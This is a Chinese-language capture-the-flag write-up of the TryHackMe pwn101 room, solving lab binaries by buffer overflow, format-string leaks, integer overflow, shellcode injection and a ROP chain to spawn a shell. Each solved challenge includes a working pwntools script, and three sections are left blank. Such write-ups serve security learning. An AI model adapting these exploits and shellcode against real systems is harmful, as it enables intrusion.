:::info
[題目來源](https://tryhackme.com/r/room/pwn101)
:::
:::spoiler dir
[toc]
:::
# Challenge 1 - pwn101
## Buffer overflow
**思路**
用r2 打開檔案發現題目變數var_4h初始設為```0x539```,在變數var_4h不是```0x539```時跳到```0x8f9```這個func也又是有開```/bin/sh```可以跳到這裡代表可以能到shell

透過觀察發現發現可以讓user輸入的s為```rbp-0x40```,var_4h為```rbp-0x4```因此可得知只要把```rbp-0x40```這一段蓋掉,```rbp-0x4```這段塞入非```0x539```的數值即可pwn
**payload**
```python
from pwn import *
ip='10.10.101.156'
port=9001
r=remote(ip,port)
r.sendline(b'a'*0x40)
r.interactive()
```

---
# Challenge 2 - pwn102
## Modify variable's value
**思路**
用r2打開題意為變數var_4h初始為```0xbadf00d```、var_8h為```0xfee1dead```,但是第一層必須要var_4h等於```0xc0ff33```才能跳到```0x962```也就是往走向```/bin/sh```的第二層,在此層必須在滿足var_8h等於```0xc0d3```才能跳到```0x96b```也就是```/bin/sh```所在地

先把```0x70~0x8```填完,之後在```0x8~0x4```填入```0xc0d3```,```0x4~rbp```填入```0xc0ff33```即可pwn
**payload**
```python
from pwn import *
ip='10.10.101.156'
port=9002
r=remote(ip,port)
r.sendline(b'a'*104 + p32(0xc0d3) + p32(0xc0ff33))
r.interactive()
```

---
# Challenge 3 - pwn103
## Return to win
**思路**
打開IDA free(原本用IDA pro看完全跨毋,加上親自實測程式運行,可以發現程式執行會有5個選項可以選其中選擇第三個選項時可以輸入,搭配IDA 看code 發現可以pwn的地方``` __isoc99_scanf("%s", s1);```其中輸入的s1為```char s1[32]; // [rsp+0h] [rbp-20h] BYREF```,在IDA中有一個func是```admins_only```打開來看有```/bin/sh```
>**IDA**
>main function
> ```c
> int __fastcall main(int argc, const char **argv, const char **envp)
> {
> const char **v3; // rdx
> int result; // eax
> int v5; // [rsp+Ch] [rbp-4h] BYREF
>
> setup(argc, argv, envp);
> banner();
> puts(&byte_403298);
> puts(a1_0);
> puts(&byte_403298);
> printf(&byte_403323);
> __isoc99_scanf(&unk_403340, &v5);
> switch ( v5 )
> {
> case 1:
> result = announcements();
> break;
> case 2:
> result = rules();
> break;
> case 3:
> result = general();
> break;
> case 4:
> result = discussion();
> break;
> case 5:
> result = bot_cmd();
> break;
> default:
> result = main((int)&unk_403340, (const char **)&v5, v3);
> break;
> }
> return result;
> }
> ```
> general() function
> ```c
> int general()
> {
> const char **v0; // rdx
> char s1[32]; // [rsp+0h] [rbp-20h] BYREF
>
> puts(asc_4023AA);
> puts(aJopraveenHello);
> puts(aJopraveenHopeY);
> puts(aJopraveenYouFo);
> printf("------[pwner]: ");
> __isoc99_scanf("%s", s1);
> if ( strcmp(s1, "yes") )
> return puts(aTryHarder);
> puts(aJopraveenGg);
> return main((int)aJopraveenGg, (const char **)"yes", v0);
> }
> ```
> admins_only
> ```c
> int admins_only()
> {
> puts(asc_403267);
> puts(aWelcomeAdmin);
> return system("/bin/sh");
> }
> ```
主要要把ret addr 換成admins_only的位置因此先把general()的```0x20```蓋掉接著再蓋掉0x8的rbp,填入admins_only的位置,在這填的是```0x401555```而不是第一個```0x401554```因為在第一個位置還有```push rbp```因此選擇```push rbp```之後的位置

**payload**
```python
from pwn import *
#r=process('./pwn103-1644300337872.pwn103')
ip='10.10.100.188'
port=9003
r=remote(ip,port)
r.sendline(b'3')
r.sendline(b'a'*0x28 + p64(0x401555))
r.interactive()
```

---
# Challenge 4 - pwn104
## Return to shellcode
**思路**
用IDA 打開看buf這個陣列大小為80但是可以輸入的值為200明顯可以bof。
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
setup(argc, argv, envp);
banner();
puts(aIThinkIHaveSom);
puts(aEspeciallyExec);
puts(aCanWeGoForAFig);
printf("I'm waiting for you at %p\n", buf);
return read(0, buf, 0xC8uLL);
}
```
先塞入[shellcode](https://www.exploit-db.com/exploits/51834)接著在80個把buf填滿,在填8個把rbp蓋過去,因為前面有填入shellcode要把這一段的長度拿掉不算,所以實際填入的total要是```88-len(shellcode)```,接著在填上連上題目就會給你的ret addres
**payload**
```python
from pwn import *
ip='10.10.106.113'
port=9004
r=remote(ip,port)
r.recvlines(9)
addres=int(r.recv().decode().split(' ')[-1],16)
shellcode=b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"
r.sendline(shellcode + b'a'*(88-len(shellcode))+p64(addres))
r.interactive()
```

---
# Challenge 5 - pwn105
## Integer Overflow
**思路**
必須滿足題目```(v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 ```才能有機會跳到```/bin/sh```意思是v5、v6必須要是小於```0x80000000```也就是小於等於C裡面int最大值2147483647,但是要需要v5+v6也就是v7大於等於```0x80000000```才會```(v7 & 0x80000000) != 0```
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v5; // [rsp+Ch] [rbp-14h] BYREF
unsigned int v6; // [rsp+10h] [rbp-10h] BYREF
unsigned int v7; // [rsp+14h] [rbp-Ch]
unsigned __int64 v8; // [rsp+18h] [rbp-8h]
v8 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
puts("-------=[ BAD INTEGERS ]=-------");
puts("|-< Enter two numbers to add >-|\n");
printf("]>> ");
__isoc99_scanf("%d", &v5);
printf("]>> ");
__isoc99_scanf("%d", &v6);
v7 = v5 + v6;
if ( (v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 )
{
printf("\n[o.O] Hmmm... that was a Good try!\n");
}
else if ( (v7 & 0x80000000) != 0 )
{
printf("\n[*] C: %d", v7);
puts("\n[*] Popped Shell\n[*] Switching to interactive mode");
system("/bin/sh");
}
else
{
printf("\n[*] ADDING %d + %d", v5, v6);
printf("\n[*] RESULT: %d\n", v7);
}
return v8 - __readfsqword(0x28u);
}
```
v5填2147483647、v6填1,讓v5+v6(v7)大於int最大值,pwn!
**payload**
```python
from pwn import *
ip='10.10.12.233'
port=9005
r=remote(ip,port)
r.recvlines(9)
r.sendlineafter(']>>',b'2147483647')
r.sendlineafter(']>>',b'1')
r.interactive()
```

---
# Challenge 6 - pwn106
## Format string exploit
**思路**
用GDB R2搭配,發現`%6$p`會撈到flag 的第一段,依此類推慢慢撈下去
(第一次自己寫fmt的payload花了有點久,之前都是直接丟到網站直接convert好)
**payload**
```python
from pwn import *
r=remote('10.10.125.41',9006)
#r = process('/mnt/d/Users/cheng/Downloads/pwn106-user-1644300441063.pwn106-user')
r.recvlines(7)
r.sendline(b"%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p")
r.recvline()
response = r.recvline().decode().strip().replace('Thanks ', '').replace('0x','').split(',')
for i in range(7):
print(bytes.fromhex(response[i]).decode()[::-1],end='')
print()
r.close()
```

---
# Challenge 7 - pwn107
## Bypassing mitigations
**思路**
**payload**
---
# Challenge 8 - pwn108
## GOT overwrite
**思路**
**payload**
---
# Challenge 9 - pwn109
## Return to PLT
**思路**
**payload**
---
# Challenge 10 - pwn110
## Playing with ROP
**思路**
可以看到`var_20h`這個變數要蓋,之後再慢慢的去找 ROPgadget串syscall,

| NR | SYSCALL NAME | references | RAX | ARG0 (rdi) | ARG1 (rsi) | ARG2 (rdx) | ARG3 (r10) | ARG4 (r8) | ARG5 (r9) |
|-----|--------------|------------|-----|-----------------------|-----------------------------------|-----------------------------------|------------|-----------|-----------|
| 59 | execve | man/ cs/ | 3B | const char *filename | const char *const *argv | const char *const *envp | - | - | - |
根據上面表格一個一個串
```bash
#pop rax
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rax ; ret"
0x00000000004497d7 : pop rax ; ret
```
```bash
#pop rdi
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rdi ; ret"
0x000000000040191a : pop rdi ; ret
```
```bash
#pop rsi
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rsi ; ret"
0x000000000045b246 : or byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000040f4de : pop rsi ; ret
```
```bash
#pop rdx
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/ra130/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rdx ; ret"
0x000000000040181b : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x000000000040181d : add byte ptr [rax], al ; pop rdx ; ret
0x0000000000401817 : fst dword ptr [rdi] ; or al, 0 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x0000000000401819 : or al, 0 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x000000000040181f : pop rdx ; ret
0x0000000000472f42 : pop rdx ; retf
0x0000000000472f3d : sal byte ptr [rax + riz - 0x75], 0x35 ; pop rdx ; retf
```
```bash
# find data addres
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/ra130/Downloads]
└─$ readelf -S pwn110-1644300525386.pwn110 | grep "\.data"
[18] .data.rel.ro PROGBITS 00000000004bd100 000bc100
[21] .data PROGBITS 00000000004c00e0 000bf0e0
```
```bash
#將寄存器 rdx 中的值寫入 rdi 指向的記憶體位置
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "mov qword ptr \[
rdi\]"
省略
0x00000000004340a3 : mov qword ptr [rdi], rdx ; ret
省略
```
```bash
#最後去尋找執行整個ROPchain 的syscall
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep syscall
省略
0x00000000004012d3 : syscall
省略
```
都找好位置後按造syscall table 的要求
1. b'a'*0x28 + # 用來填充緩衝區,直到覆蓋返回地址
1. p64(pop_rdx) + # ROP gadget: 將 RDX 寄存器設置為指向 "/bin/sh\x00"
1. b'/bin/sh\x00' + # 實際的字串 "/bin/sh",用來開啟 shell
1. p64(pop_rdi) + # ROP gadget: 將 RDI 寄存器設置為目標地址
1. p64(data_addr) + # 目標地址:將 "/bin/sh" 存放在此地址
1. p64(mov_rdx_to_rdi) + # ROP gadget: 將 RDX 的值(即 "/bin/sh")移動到 RDI
1. p64(pop_rsi) + # ROP gadget: 設置 RSI 寄存器
1. p64(0) + # execve() 的第二個參數:NULL
1. p64(pop_rdx) + # 再次設置 RDX 寄存器
1. p64(0) + # execve() 的第三個參數:NULL
1. p64(pop_rax) + # ROP gadget: 設置 RAX 寄存器,指定系統呼叫號
1. p64(59) + # 系統呼叫號 59:execve()
1. p64(syscall_addr) # ROP gadget: 觸發 syscall,執行系統呼叫
**payload**
```python
from pwn import *
r=remote('10.10.162.17',9010)
pop_rdi=0x40191a
pop_rax=0x4497d7
pop_rsi=0x40f4de
pop_rdx=0x40181f
data_addr=0x4c00e0
mov_rdx_to_rdi=0x4340a3
syscall_addr=0x4012d3
r.sendline(b'a'*0x28+p64(pop_rdx)+b'/bin/sh\x00'+p64(pop_rdi)+p64(data_addr)+p64(mov_rdx_to_rdi)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(59)+p64(syscall_addr))
r.interactive()
```